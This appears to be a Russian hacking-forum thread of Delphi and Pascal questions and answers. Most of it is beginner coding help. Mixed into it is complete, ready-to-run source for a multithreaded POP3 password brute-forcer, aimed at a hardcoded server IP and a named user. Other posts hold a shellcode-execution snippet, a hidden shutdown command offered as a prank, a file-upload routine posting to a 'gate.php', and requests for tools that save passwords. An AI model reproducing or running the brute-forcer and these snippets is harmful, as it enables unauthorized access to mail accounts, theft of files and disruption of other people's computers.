Просмотр полной версии : [Delphi]/[Pascal] Задай вопрос, получи ответ
2 _GlaD1aT(OR)_
if form1.btnInstall.Visible:= True
меняем на
if (form1.btnInstall.Visible==True)
Этож делфи.. :rolleyes:
во: if form1.btnInstall.Visible=True then
и даже просто
if form1.btnInstall.Visible then... :)
а если это в модуле form1, то и без form1.
if btnInstall.Visible then...
_GlaD1aT(OR)_
03.08.2008, 13:40
Всем спасибо
Как выполнить ShellCode в дельфях?!
в C+ это выглядело примерно так :
int main()
{
((void (__stdcall *)())&scode[0])(); // вызов шеллкода
return 0;
}
Я в программирование полный ноль....
Мне нужен "онлайн" иллюстрированный учебник по делфи.
Если кто знает где есть доступный курс, киньте ссылку плз.
marlen насчет он-лайн, советую почитать темы форумов:
realcoding.net
vingrad.ru (по большей части посты форума)
sources.ru
Как выполнить ShellCode в дельфях?!
в C+ это выглядело примерно так :
int main()
{
((void (__stdcall *)())&scode[0])();
return 0;
}
UP!
Народ а как проверить что сдром закрыт (командой конечно)???
То есть к примеру если сдром закрыт то выполняем то .......
По-моему, никак (если кто знает как-поправьте). Но можно узнать есть ли в нем диск, в простейшем случае так:
function CheckCD(vol: string):boolean;
begin
Result:=false;
try
ChDir(vol);
Result:=true;
except
end;
end;
И еще можно закрыть или открыть лоток:
uses mmsystem;
...
mciSendString('Set cdaudio door open wait', nil, 0, handle); // открыть
mciSendString('Set cdaudio door closed wait', nil, 0, handle); //закрыть
И еще как сделать так чтобы при нажатии кнопки опеределеный файл запускался??? Путь до файла не известен
Если файл в текущем или общедоступном каталоге, то просто выполнить через WinExec, CreateProcess или ShellExecute. Если нет, то сначала его придется найти.
в Pascal. например, есть
var x: integer;
...
x:=7;
подскажите, плз, как получить адрес переменной и выести его на экран ?
AL Capone
04.08.2008, 17:22
получение адреса переменной
указатель := @имя переменной
asm
push eax
mov eax,offset i
mov a,eax
pop eax
end;
I - твоя переменная который хочешь получить адресс, A - переменная куда будет записан адресс переменной в памяти.
var
a: Pointer;
b: Integer;
begin
a:=@b;
0verbreaK
04.08.2008, 21:46
addr возвращает первый байт переменной.
De-visible
05.08.2008, 23:55
I/O error 105 (File not open for output)
Здесь желательно увидеть не этот кусок, а более обширный код.
я действительно забыл открыть файлы, все остальное сделал...
у меня уже от программинга мозги не варят...
кому не трудно скажите как файлы открывать???
AssignFile(), Reset()/Rewrite(), CloseFile();
также есть function append(f:TEXTFILE) - добавление строк в текстовый файл
добрый вечерно
вобщем проблема такая.. пишу что-то вроде клиента под
броузерную игрушку по совместительству остваиваю компонент idHTTP : )
вот возникла проблема
при попытки коннекта вылезает ошибка 405
и собственно код ответа сервера не возвращается в Memo
procedure TForm1.Button1Click(Sender: TObject);
var CM : TIdCookieManager;
LoginInfo: TStrings;
Response: TStringStream;
i:integer;
begin
CM := TidCookieManager.Create(IdHTTP1);
IdHTTP1.AllowCookies := True;
IdHTTP1.CookieManager := CM;
IdHTTP1.HandleRedirects := True;
LoginInfo := TStringList.Create;
Response := TStringStream.Create('');
LoginInfo.Clear;
LoginInfo.Add('login=логин');
LoginInfo.Add('pass=пароль');
LoginInfo.Add('x=0');
LoginInfo.Add('y=o');//незнаю что такое но вроде тоже передается
memo1.Lines.Clear;
IdHTTP1.Host:='ereality.ru';
IdHTTP1.Port:=80;
Memo1.Lines.Text:=IdHTTP1.Post('/',LoginInfo);
Memo1.Lines.Add(Response.DataString);
for i:=0 to IdHTTP1.CookieManager.CookieCollection.count-1 do
memo2.lines.add(IdHTTP1.CookieManager.cookieCollec tion.items[i].cookieText);
Response.Free;
LoginInfo.Free;
end;
end.
De-visible
06.08.2008, 23:44
Memo1.Lines.Text:=IdHTTP1.Post('/',LoginInfo);
Попробуй вместо этого "/", вставить адрес странички куда посылается запрос.
хм.. пробывал..
там что-то замутно
и index.php И login.php тоже где то там лежащий
но суть одна
если меня не авторизует мне выдается код с начальной страницей
ну и как вариант у меня вылазит ошибка 405
De-visible
06.08.2008, 23:57
хм.. пробывал..
там что-то замутно
и index.php И login.php тоже где то там лежащий
но суть одна
если меня не авторизует мне выдается код с начальной страницей
ну и как вариант у меня вылазит ошибка 405
для авторизации теперь вообще не юзаю компоненты, лучше попробуй на сокетах!они рулят, имхо.
Народ я к *примеру* хочу программировать под линукс на делфи но на делфи же вроде незя задавать форматы линукса собственно вопрос вот в чем
Я хочу программировать под линукс на делфи существует ли плагин или язык каторый похож на делфи (точь в точь чтобы функции как в делфи были) и чтобы он программировал под делфи
ЗЫ спасибо де-визибл ))!
De-visible
09.08.2008, 22:19
Kylix?!
http://ru.wikipedia.org/wiki/Kylix
Такой вопрос:
Можно ли использовать два типа данных в одной программе?
Ну к примеру вот так:
program antichat;
var a,b,c,d :integer {- с одним типом данных integer}
{А с двумя возможно,или это бред получится?}
var a,b,c,d :integer,real {- с двумя типами данных integer,real}
BlackSun
10.08.2008, 19:50
Такой вопрос:
Можно ли использовать два типа данных в одной программе?
Ну к примеру вот так:
program antichat;
var a,b,c,d :integer {- с одним типом данных integer}
{А с двумя возможно,или это бред получится?}
var a,b,c,d :integer,real {- с двумя типами данных integer,real}
var a,b,c,d :integer;
var a1,b1,c1,d1 :real;
BlackSun
10.08.2008, 19:53
Народ я к *примеру* хочу программировать под линукс на делфи но на делфи же вроде незя задавать форматы линукса собственно вопрос вот в чем
Я хочу программировать под линукс на делфи существует ли плагин или язык каторый похож на делфи (точь в точь чтобы функции как в делфи были) и чтобы он программировал под делфи
ЗЫ спасибо де-визибл ))!
C++ && (QT or GTK+)
BlackSun, а если не изменять var a1,b1,c1,d1 :real;? Ну тоесть прописать как и в Integer a,b,c,d а не a1,b1,c1,d1, что тогда?
BlackSun
10.08.2008, 20:00
BlackSun, а если не изменять var a1,b1,c1,d1 :real;? Ну тоесть прописать как и в Integer a,b,c,d а не a1,b1,c1,d1, что тогда?
Тебе просто занятся нечем, или есть проблема?
BlackSu, не, спросил просто, извени
народ где бы почитать про применение TThead для использования в брутах на http
Я понимаю конкретно влядли что будет, но что то более подходящее под эту задачу посоветуйте плз, либо пример если кому не трудно!
Спасибо!
FIND_ERROR
10.08.2008, 23:56
http://dash.ru/_review/
http://callipso.bestcode.org/delphi/artical/num2.html
:) попробуй ето!
народ где бы почитать про применение TThead для использования в брутах на http
Я понимаю конкретно влядли что будет, но что то более подходящее под эту задачу посоветуйте плз, либо пример если кому не трудно!
Спасибо!
http://forum.vingrad.ru/topic-60076.html
если вот это осилишь, то мб что и напишешь...
Такой вопрос:
Можно ли использовать два типа данных в одной программе?
Ну к примеру вот так:
program antichat;
var a,b,c,d :integer {- с одним типом данных integer}
{А с двумя возможно,или это бред получится?}
var a,b,c,d :integer,real {- с двумя типами данных integer,real}
зачем это нужно то вобще?
можно преобразовать данные из integer в real и на оборот
просто сначала данные преобразовываеш в строку а потом из строки в другой типа
например
var var a,b,c,d :integer;
a1,b1,c1,d1:real;
e:string;
....
....
e:=IntToStr(a);
a1:=StrToFloat(e);
A_V,
Ну на тебе готовый пример брутера (под POP3, правда, но не суть)
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, StdCtrls, WinSock;
type
TForm1 = class(TForm)
Button1: TButton;
ProgressBar1: TProgressBar;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
// Описание процесса
type
TScan = class(TThread)
sock2 : TSocket;
addr:TSockAddrIn;
WSAData : TWSAData;
private
procedure CScan;
protected
procedure Execute; override;
end;
var
Form1: TForm1;
// Массив процессов
Sock : array[1..255] of TScan;
Rez : boolean = false;
// Кол-во запущенных процессов на данный момент
I0 : Integer;
// Номер текущего пароля
I : Integer;
// TStringList с паролями
PassList : TStringList;
const
FilePass = 'pass.txt'; // Файл с паролями в каталоге проги
ProcCount = 10; // кол-во процессов
POP3serv = '212.42.64.13'; // POP3 server (отпингованый)
User = 'dndanil';
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
PassList:=TStringList.Create;
end;
// Запуск / Остановка
procedure TForm1.Button1Click(Sender: TObject);
begin
if Rez then
Rez:=false
else
begin
// Открытие и загрузка файла паролей
try
PassList.Clear;
PassList.LoadFromFile(FilePass);
except
end;
if PassList.Count<=0 then
begin
Application.MessageBox('Файл паролей не найден или его нельзя использовать', 'ERROR', mb_Ok);
exit;
end;
Form1.Button1.Caption:='Stop';
Form1.ProgressBar1.Position:=0;
// Кол-во паролей
Form1.ProgressBar1.Max:=PassList.Count;
Application.ProcessMessages;
I:=0;
I0:=1;
Rez:=true;
// Запустить все процессы
while true do
begin
Sock[I0]:=TScan.Create(false);
inc(I0); // Подсчитать их кол-во
//Выйти если больше указанного, или стоп, или подобрали
if (I0>ProcCount)or(not Rez) then
break;
end;
end;
end;
// Проца инициализации процесса
procedure TScan.Execute;
begin
try
// Запуск цикла
while true do
begin
CScan;
//Выход, если подобрали или закончился словарь
if (not Rez)or(I>=PassList.Count) then
break;
end;
except
end;
dec(I0);
try
Terminate;
except
end;
//Если все процессы прерваны -
if I0<=1 then
begin
Form1.Button1.Caption:='Hack it';
Rez:=false;
Application.ProcessMessages;
end;
end;
//Проца сканирования
procedure TScan.CScan;
var
iaddr, x, I2 : Integer;
Buf : array [1..255] of Char;
//Отправка
procedure sender(str:string);
var
I1: integer;
begin
for I1:=1 to Length(str) do
if send(sock2, str[I1] , 1, 0) = SOCKET_ERROR then
exit;
end;
begin
I2:=I;
inc(I);
Form1.ProgressBar1.Position:=I2+1;
Application.ProcessMessages;
try
// Инициализация сокета
WSAStartUp(257, WSAData);
sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if sock2=INVALID_SOCKET then
begin
try
closesocket(sock2);
except
end;
exit;
end;
//Адрес сервака
iaddr := inet_addr(PChar(POP3serv));
if iaddr <=0 then
begin
try
closesocket(sock2);
except
end;
exit;
end;
addr.sin_family := AF_INET;
// Порт сервака
addr.sin_port := htons(110);
addr.sin_addr.S_addr:=iaddr;
if (connect(sock2, addr, sizeof(addr))) >0 then
begin
try
closesocket(sock2);
except
end;
exit;
end;
//Получение при соединении
x:=recv(sock2,buf,sizeof(Buf),0);
if (x=SOCKET_ERROR)or(buf[1]<>'+') then
exit;
//"user user"
sender('user '+User+#13+#10);
x:=recv(sock2,buf,sizeof(Buf),0);
if (x=SOCKET_ERROR)or(buf[1]<>'+') then
exit;
//"pass password"
sender('pass '+PassList.Strings[I2]+#13+#10);
x:=recv(sock2,buf,sizeof(Buf),0);
//Если подобралось
if (x>3)and(buf[1]='+') then
begin
Rez:=false;
Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok);
exit;
end;
try
closesocket(sock2);
except
end;
except
end;
end;
end.
можно преобразовать данные из integer в real и на оборот
просто сначала данные преобразовываеш в строку а потом из строки в другой типа
Жесть! А функции integer(), int(), real(), round() и т.п. дураки придумали?
xDD
честно никогда не задумывался о них
Как в RichEdit загнать из символьного массива ,эти самые текстовые символы?
O_o? невкурил...
давай ищё раз и поподробней
PS. string это тоже символьный масив
вообщем надо засунуть текст с таким _http://img388.imageshack.us/my.php?image=77973013xh5.jpg форматированием
вообщем надо засунуть текст с таким _http://img388.imageshack.us/my.php?image=77973013xh5.jpg форматированием
Так варианта 2:
1. присваивать атрибуты для seltext
2. сразу запихать в него "исходник" RTF, типа
S := '{\rtf1\ansi\ansicpg1251\uc1 \fs16' +
'{\b \ul\qc\widctlpar \fs20 ' + {WDCaption +} ' Заголовочег \line \line }' + 'Текст \line ' + '{\par }}'#0;
вообщем надо засунуть текст с таким _http://img388.imageshack.us/my.php?image=77973013xh5.jpg форматированием
RichEdit.
редактируешь, затем сохраняешь файл с расширением rtf
alextoun
15.08.2008, 21:47
тут такая жопа возникла
нужно сделать на делфи прогу
тупую формочку
где палитра 16 ричного кода цвета
ставиш мышку на нужном цвете а он показывает код цвета
хз как реализовать. Мы в инсте ещё делфи не проходили :d
типа как в фотошопе
RichEdit.
редактируешь, затем сохраняешь файл с расширением rtf
нельзя.файл должен быть только один то есть exe
И так я хочу создать калькулятор
Задал кнопке событие чтобы оно писало в мое окошечко где все вводиться
procedure TForm1.but1Click(Sender: TObject);
begin
txtN.Text:='1';
end;
Так он мне выводит в строчку одну единицу а я хочу чтобы было столько единиц скока я нажал на кнопку
Собственно как изменить код чтобы так и было ( как я пожелаю )
И вот я еще с чем столкнулся
Написал событие
procedure TForm1.Button1Click(Sender: TObject);
begin
if rad1.Checked:=True then
begin
memo1.Lines.Add(txtA.Text);
txtB.Text(txtA.Text);
txtC.Text(txtA.Text);
end;
end;
Так оно ругаеться
http://img185.imageshack.us/img185/126/39635859xw7.jpg
diznt, надо так
procedure TForm1.but1Click(Sender: TObject);
begin
txtN.Text:='1' + txtN.Text;
end;
и...
procedure TForm1.Button1Click(Sender: TObject);
begin
if rad1.Checked then
begin
memo1.Lines.Add(txtA.Text);
txtB.Text(txtA.Text);
txtC.Text(txtA.Text);
end;
end;
Вы в if присваиваите, а это неверно.
нельзя.файл должен быть только один то есть exe
работа с ресурсами отменена по дефтолу?!!!!!!!
тут такая жопа возникла
хз как реализовать. Мы в инсте ещё делфи не проходили :d
типа как в фотошопе
Если я тебя правильно понял:
procedure TForm1.Button1Click(Sender: TObject);
var
rgb: Cardinal;
begin
rgb:=ColorBox1.Selected;
Edit1.Text:=Format('%2x%2x%2x', [GetRValue(rgb), GetGValue(rgb), GetBValue(rgb)]);
end;
на форме:
1. TButton
2. TColorBox
3. TEdit
выбираешь в ColorBox'e цвет
щелкаешь на батон
в Edit'e видишь код
как установить иконку в приложении написаном в делфи?
Project->Options->Application
Project->Options->Application
Или заменить в ресурсах =)
Расскажите плиз как делают проги для наложения пароля на папки?
Желательно с какими то примерами Delphi
Тут просто так не сделаешь. Из вариантов могу предложить следующие:
1. пишешь драйвер который перехватывает функции работы с файлами, такие как запрос списка файлов диры + открытие файла в дире + копирование+ удаление итд итп. Твоя програмка общается с драйвером постоянно и драйвер передает адреса куда юзверь лезит. При нахождении защищаемой папки выводится окошко с вводом пароля. Если пароль правильный, то просто замонить PID процесса и папку к которой ему разрешен доступ.
Сложность - написание драйвера. Плюсы - очень много.
2. через hook приаттачивать dll к каждому процессу которая будет общаться с главной прогой отвечающей за защиту.
Легко сделать, но много минусов.
какая процедура вызывает выпадающий список - 2?
и как сделать чтоб можно было сворачивать приложение?
http://mtscorporation.ru/67.png
C компонентом разобрлася ComboBox...но как добавить туда допустим еще вариантов 10 ..чтоб было можно выбрать..один из них
Через драйвер....хммм че-то у меня похожее где-то валялось, надо посмотреть...та тут сложновато.
Я думал просто что может есть какие-то недокументированные функции в самой системе.
procedure TForm2.ComboBox1Change(Sender: TObject);
begin
??????
end;
что вот тут писать чтоб был протос впадающйи спискок :(
Nightmarе
20.08.2008, 22:24
и как сделать чтоб можно было сворачивать приложение?
application.Minimize;
и еще вопросик...как сделать так чтоб кнопка была ..но была прозрачной то есть на неее нельзя было нажать..что в свйоствах указать..
Люди, подскажите, как разбить набираемый текст на две колонки в RichEdit, или в чем еще, а на задний фон вместо белого свой картинка вставить, только чтоб его было видно. Заранее спс.
Nightmarе
21.08.2008, 00:53
и еще вопросик...как сделать так чтоб кнопка была ..но была прозрачной то есть на неее нельзя было нажать..что в свйоствах указать..
Ну это в свойствах кнопки ставишь в меню Enable указываешь false
Или команду кнопке чтобы вырубить другую:
button1.enable:= false;
Сообщение от ufalog
и еще вопросик...как сделать так чтоб кнопка была ..но была прозрачной то есть на неее нельзя было нажать..что в свйоствах указать..
Или свойство visible меняешь на false если чтоб совсем не видно было.
А вообще это совсем элементарные вопросы, которые можно узнать посмотреть в любую книжку, это ж элементарные азы.
Exile1985
21.08.2008, 09:25
и еще вопросик...как сделать так чтоб кнопка была ..но была прозрачной то есть на неее нельзя было нажать..что в свйоствах указать..
программно
Button1.Enable:=false;
либо в самой среде чтобы по умолчанию при создании она была не активной выставь свойство Enable у кнопки в false;
чтобы сделать ее доступной в рунтайме Button1.Enable:=true;
Встречный вопрос: Как ты думаешь, насколько хорошую/полезную/качественную программу ты сможешь написать если ты не знаешь как работать со стандартными компонентами?
зы: потрать 2 часа на прочтение любой книжки по делфи для начинающих чтобы тебе не задавали такие вопросы.
зы: потрать 2 часа на прочтение любой книжки по делфи для начинающих чтобы тебе не задавали такие вопросы.
мне фейк нужен был) всем спасибо)) :)
SNAIPER ShoT
24.08.2008, 03:44
Эмм... мне надо код таково типа например на кнопку нажимаешь, а это время в cmd приписывается "shutdown -s -t 10" или же "win+e" вин + е дилательно что бы было около 100 =).. просто надо парня подколоть
WinExec('shutdown -s -t 10',SW_HIDE);
так например
SNAIPER ShoT, delphi или pascal?
если pascal
{$M 8192,0,0}
Program DOSCOMMAND;
uses Dos;
begin
SwapVectors;
Exec(GetEnv('COMSPEC'), '/C' + "shutdown /g /f");
SwapVectors;
if DosError <> 0 then writeln('не могу наити cmd');
end.
shutdown /g - Завершение работы и перезагрузка компьютера. После п
системы, запуск всех зарегистрированных приложений.
/s - Завершение работы компьютера.
/f - Принудительное закрытие запущенных приложений без предупреждения пользователей.
LoneWolf666
24.08.2008, 12:36
Друзья, нужна помощь по паскалю. Сестра попросила решить задачу, а я в кодингде не секу вообще, только примерно понимаю какие переменные и всё.
Написать программу зачисления студентов группы Х на стипендию.студент получивший все оценки 5 и активно участвующий в общ.работе-зачисляется на повышеную стипендию-это +50 процентов к обычной,если студент не активно участвовал-это +25 процентов,студент получивший 4 и 5-обычная,студент получивший одну оценку 3,но активно участвует в общественной работе,такого зачисляют на стипендию,в противном случае зачисление не производится.индекс группы вводится с терминала
тому кто поможет, щедро дам +20
что значит индекс группы?
Dober'man
24.08.2008, 18:24
LoneWolf666 делал как то подобие такой проги, только без добавления процентов к стипендии. Здесь процент успеваемости студентов... А так всё тоже самое, 15 минут его покавырять и всё =)
uses crt;
type studrec=record
group: byte;
surname: string[20];
name: string[20];
oc: array[1..3]of 2..5;
end;
foolsrec=record
group: byte;
surname: string[20];
name: string[20];
average: real;
end;
file_typ1 = file of studrec; file_typ2 = file of foolsrec;
var f1: file_typ1; f2: file_typ2;
namefile1, namefile2: string[12];
s: studrec; fs: foolsrec;
i,nomrec: integer;
procedure read_data(var s: studrec);
begin
with s do
begin
writeln('Okonchanie vvoda - 0, kak n gruppi');
write('N gruppi: '); readln(group);
if group<>0 then
begin
write('Familia: '); readln(surname);
write('Imia: '); readln(name);
writeln('Ocenki: '); for i:=1 to 3 do read(oc[i]);
end;
end;
end;
procedure copy_data(s: studrec; var fs: foolsrec);
begin
with fs do
begin
group:=s.group; surname:=s.surname; name:=s.name;
average:=(s.oc[1]+s.oc[2]+s.oc[3])/3;
end;
end;
procedure write_list(var f: file_typ2);
begin
reset(f); seek(f,0);
writeln('Ploho uchashiesia: ');
writeln('Gruppa','Familia':16,'Imia':8,'Sredniy bal':18);
while not eof(f) do
begin
read(f,fs);
with fs do writeln(group:4,surname:15,name:10,average:16:2);
end;
end;
procedure create_file(var f: file_typ1; var n: integer);
begin
n:=0; rewrite(f); read_data(s);
while s.group<>0 do
begin
write(f,s); inc(n);
read_data(s);
end;
close(f);
end;
procedure write_data(var f1: file_typ1; var f2: file_typ2; n: integer);
var priz: char; k: integer;
begin
reset(f1); rewrite(f2); k:=0;
while not eof(f2) do
begin
read(f1,s);
priz:='n';
for i:=1 to 3 do if (s.oc[i]>=2) and (s.oc[i]<=3) then
priz:='y';
if priz='y' then
begin copy_data(s,fs); write(f2,fs) end
else inc(k);
end;
close(f1); close(f2);
clrscr; writeln('Na "4" i "5" uchatsia ',k/n*100:3:0,'% studentov');
end;
begin
write('Vvedite imia faila obshey vedomosti: '); readln(namefile1);
assign(f1,namefile1);
create_file(f1,nomrec);
write('Vvedite imia faila vedomosti zadolzhnikov: ');
readln(namefile2);
assign(f2,namefile2);
write_data(f1,f2,nomrec);
write_list(f2);
end.
напишите плиз код программы на делфи, которая обращается в интернет и посылает данные на пхп код
Dober'man
25.08.2008, 11:22
делфи^.интернет send пхп.код
ps/ вопрос задай по-человечески!!!
2 k1113r если тебя интресует отправка фпйлов то вот:
const
URL_POST = 'http://localhost/gate/gate.php';
...
procedure POSTFile(Filename: String);
var
IdHTTP: TIdHTTP;
LPostStream: TIdMultiPartFormDataStream;
LResultString: String;
ff: TFileStream;
begin
IdHTTP := TIdHTTP.Create(nil);
IdHTTP.MaxLineLength := 0;
LPostStream := TIdMultiPartFormDataStream.Create;
ff := TFileStream.Create(Filename, 0);
try
LPostStream.AddObject('data', 'application/vnd', ff, Filename);
try
LResultString := IdHTTP.Post(URL_POST, LPostStream);
except on E:Exception do
Showmessage(E.Message);
end;
ShowMessage(LResultString);
finally
IdHTTP.Free;
LPostStream.Free;
end;
end;
незашто =)
спс человеки но не файлов, а сообщния типа uni:pass
Здравствуйте, есть ли на данный момент паблик компоненты Mail Agent'a ?
Dober'man
25.08.2008, 18:35
Ты смеешься?! Или у тебя колёсико вниз не крутит =)
https://forum.antichat.ru/thread79328.html
Ты смеешься?! Или у тебя колёсико вниз не крутит =)
https://forum.antichat.ru/thread79328.html
Я не фейк прошу, а компонент под Delphi
Может ктонибудь дать пример создания 3D графики (OpenGL) с примером 3D кнопки тоесть на неё наводишь - анимация, на неё нажимаешь - какое то действие и все ето на OpenGL или другом 3D движке))))
p.s. не откажусь от совета хорошей (понятной, широко объясняемой... и т.п.) книги по этой теме.
Зарание благодарю!
------------------------------------------------------------------
http://hash.ixces.ru/mini_logo.jpg (http://hash.ixces.ru/) << ссылка на сервис
http://hash.ixces.ru/ On-line md5 сервис
OpenGL и Delphi на практике:
www.citforum.ru/programming/opengl/opengl&delphi/
Использование библиотеки OpenGL в Delphi:
www.codenet.ru/progr/opengl/delphi/
Примери на Делфи:
www.delphisources.ru/pages/sources.html
Графика, DirectX, OpenGL / Исходники:
sources.codenet.ru/?cid=11
ВСЕ ВМЕСТЕ ВЗЯТОЕ+много много ещо:
www.gOOgle.com
Ты смеешься?! Или у тебя колёсико вниз не крутит =)
https://forum.antichat.ru/thread79328.html
Dober'man.рупутация++
Как на дельфи прочитать в переменную файл в котором есть переносы строк? например картинку или exe'шник... Файл изначально неизвестного размера и формата.
De-visible
30.08.2008, 16:23
Как на дельфи прочитать в переменную файл в котором есть переносы строк? например картинку или exe'шник... Файл изначально неизвестного размера и формата.
Просто присвой содержимое файла переменной и все...
Как на дельфи прочитать в переменную файл в котором есть переносы строк? например картинку или exe'шник... Файл изначально неизвестного размера и формата.
http://delphibasics.ru/BlockRead.php - раскуривай ;)
Народ киньте плз исходник (делфи) проги типо PassSave(аля сохранялка пассов к определенным сайтам)
спасибо!
mr.The:
function L2F(const FileName:string; var Kyda:string):Boolean;
var fp:File;
begin
if FileExists(filename) then
begin
Result:=True;
try
FileMode:=fmOpenRead;
AssignFile(fp,filename);
Reset(fp,1);
try
SetLength(kyda,FileSize(fp));
BlockRead(fp,Pointer(kyda)^,Length(kyda));
finally
CloseFile(fp);
end
except
Result:=False;
end;
end
else Result:=False;
end;
и тепер например делает так:
var s:string;
begin
l2f('c:\windows\explorer.exe',s);
end;
o_OBallers
02.09.2008, 14:11
Дело в том что ты не открываешь, а пытаешся сохранить,
или думаешь что открываешь а на самом деле есть попытка перезаписать файл.
Сообщение переводится {Имя файла} уже существует. Перезаписать.
Всё успехов тебе в этих открытиях.
Кстати да Open это открыть, Save ass - сохранить как, на это урок английского закончим.
Как вариант ты можешь открывать файл .pas блокнотом, и копировать в окно паскаля.
Но как это делать я объясню, на следующем уроке, мною и так проделана огромная умственная работа по написанию этого поста.
есть скомпиленный exe на Pascal, а файла-исходника *.pas нету.
как .exe вернуть в *.pas , чтобы получить исходный код??
есть скомпиленный exe на Pascal, а файла-исходника *.pas нету.
как .exe вернуть в *.pas , чтобы получить исходный код??
После компиляции, получить исходный код, невозможно! Можно лишь декомпилировать, но в итоге ты получишь асм код, причем очень мутный...
Можно лишь декомпилировать, но в итоге ты получишь асм код, причем очень мутный...
есть прога DeDe, которая дает возможнось декомпилировать бинарки (которие били скомпилирование с помощью Delphi)
DeDe: www.xakep.ru/post/18513/default.asp
скачать DeDe3.50 www.runweloads.com/cod/gen/4551prog.html
нужна помощь..))
что посоветуете (какой компонент, а ЛУЧШЕ самописную функцию/процедуру) для шифрования текстових строчек в проекте?
тоесть, например есть проект:
program Project1;
uses
windows;
var s:string;
begin
s:='hello world';
messagebox(0,pchar(s),pchar(s),0);
end.
нужно закодировать строчку 'hello world'..
но не нужно предлагать крипт, типа base64, xor.. ето очень легко при реверсе получить обратно.. а нужно сделать так, чтоб при риверсинге било оооочень сложно получить исходную строчку..
--------------------------
заранее извиняюсь за много орф ошибок, т.к. я не из россии..))
Вот когдато давно написанный мною алгоритм. Работает быстро, хорошие результаты.
И главное есть ключ, который можно уже и прятать
procedure deCryptMem(adr:pointer;size:dword;key:dword);assem bler;stdcall;
asm
pushad
xor ecx,ecx
mov edi,adr
mov ebx,key
@m1:
mov al,[edi+ecx]
xor al,bl
sub al,cl
mov [edi+ecx],al
ror ebx,3
inc ecx
cmp ecx,size
jb @m1
popad
end;
procedure CryptMem(adr:pointer;size:dword;key:dword);assembl er;stdcall;
asm
pushad
xor ecx,ecx
mov edi,adr
mov ebx,key
@m1:
mov al,[edi+ecx]
add al,cl
xor al,bl
mov [edi+ecx],al
ror ebx,3
inc ecx
cmp ecx,size
jb @m1
popad
end;
p.s. Удобство в том, что без ключа текст не расшифруешь, а вот вот ключь можно ужа самому генерировать спец образом.
slesh, можеш пример использования твоево крипта показать?
Dober'man
04.09.2008, 17:09
xor.. ето очень легко
Что ты знаешь о xor'e ?!?!?! Каким макаром ты вскроешь двойной, тройной и т.д. xor !!!!!! Не слышал про правила итерации?!?!!!!
прога DeDe
Надо вещью сперва попользоваться, прежде чем расхваливать!
Что ты знаешь о xor'e ?!?!?! Каким макаром ты вскроешь двойной, тройной и т.д. xor !!!!!! Не слышал про правила итерации?!?!!!!
В самом деле, единственное ограничение у xor'а - малая длина блока, и, как следствие - при коротком ключе гамма раскрывается в пределах обычных возможностей.
На месте автора стоило бы задаться другим вопросом - как неявно хранить ключ.
есть прога DeDe, которая дает возможнось декомпилировать бинарки (которие били скомпилирование с помощью Delphi)
DeDe: www.xakep.ru/post/18513/default.asp
скачать DeDe3.50 www.runweloads.com/cod/gen/4551prog.html
О да, конечно я о такой проге не знал ... В итоге, что тебе эта прога выдаст, код на каком языке?
ЗЫ Приват почему сливаешь??? =\
На месте автора стоило бы задаться другим вопросом - как неявно хранить ключ
да, спасибо, paulzey.. наверное я не так задал вопрос..
О да, конечно я о такой проге не знал ... В итоге, что тебе эта прога выдаст, код на каком языке?
ЗЫ Приват почему сливаешь??? =\
в результате ти увидеш форми программи на Delphi, и код на асме..
какой приват?? напиши в гугле "скачать DeDe" и увидеш ти свой приват..))
=\
Надо вещью сперва попользоваться, прежде чем расхваливать!
Dober'man, покажи мне место где я расхвалил прогу??? я просто посоветовал ее, потому что она (других я не встречал) которая предназначена для декомпиляции проектов Delphi/Pascal..
..p.s.:и кстате програ не очень так уж плохая.. мне нравитса..
(да кстате, в результате ти получиш *.pas файл! только в нем будет код: begin ..asm ..... end; ассемблерний..!!)
eLWAux еще тот "экземпляр"
код полученый от DeDe можно выкинуть...
проще уж нормальным дизасмом смотреть, это вообще из области изврата
з.ы. код полученный DeDe можно даже и пытаться скомпилить
eLWAux еще тот "экземпляр"
ну-ну.. а можно поподробней? напиши в ПМ!
код полученый от DeDe можно выкинуть...
проЧти в описание программи : DeDe предзначен для декомпиляции, в первую очередь, проектов Delphi/Pascal
просче всего всех обсуждать.. а самим конкретно посоветовать что-то? а?
Dober'man
05.09.2008, 23:51
просче всего всех обсуждать.. а самим конкретно посоветовать что-то? а?
Ты хочешь преобразователь, то бишь декомпиллер, бинарного кода в готовый .pas модуль не суясь в асм?! давротмненоги, я на измене =) (с)
ps/ копирайтить код - не есть гуд...
У меня есть окно не моей программы, в котором есть таблица.
Как на Delphi написать, чтобы можно было выдрать содержимое одного из столбцов этой таблицы?
У меня есть окно не моей программы, в котором есть таблица.
Как на Delphi написать, чтобы можно было выдрать содержимое одного из столбцов этой таблицы?
ну ты юморист))
тут нужно с каждой прогой отдельно разбираться.
А начать лучше с FindWindowEx()
http://msdn.microsoft.com/en-us/library/ms633500(VS.85).aspx
ну-ну.. а можно поподробней? напиши в ПМ!
ты DeDe хотя бы раз пользовался?
проЧти в описание программи : DeDe предзначен для декомпиляции, в первую очередь, проектов Delphi/Pascal
ты думаешь я не знаю что за софтина?
просче всего всех обсуждать.. а самим конкретно посоветовать что-то? а?
просче просче... Были бы знания асма, такие бы вопросы не задавались. Такие вопросы всегда и сводятся к знанию ассемблера. Водоворот... Знаешь асм не задаешь такие вопросы, не знаешь асм получаешь дизасмы, а так как не знаешь асм все идет лесом.
просче всего всех обсуждать.. а самим конкретно посоветовать что-то? а?
Если ты открыл проект декомпиленой проги и у тебя там формочки появились, это еще не значит что получил сырцы ...
ToniKapuchon
06.09.2008, 17:23
pascal 7.0 :
ничего не понятно :-))))))))))))))
почему, в выделенной строчке ошибка File not found , хотя он есть ???
хм, что т мне подсказывает что reset() работает с файлом, а не с текстом
http://www.delphisources.ru/pages/faq/faq_delphi_basics/Reset.php.html
0verbreaK
06.09.2008, 17:29
UnPazz
Файловая переменная оббявлена не правильно попробуй
f:TextFile;
или же
f:File;
jecka3000
06.09.2008, 17:49
решил начать изучать делфи7 студио. Скачал а серийник с ключем нет, плиз подскажите где взять?
решил начать изучать делфи7 студио. Скачал а серийник с ключем нет, плиз подскажите где взять?
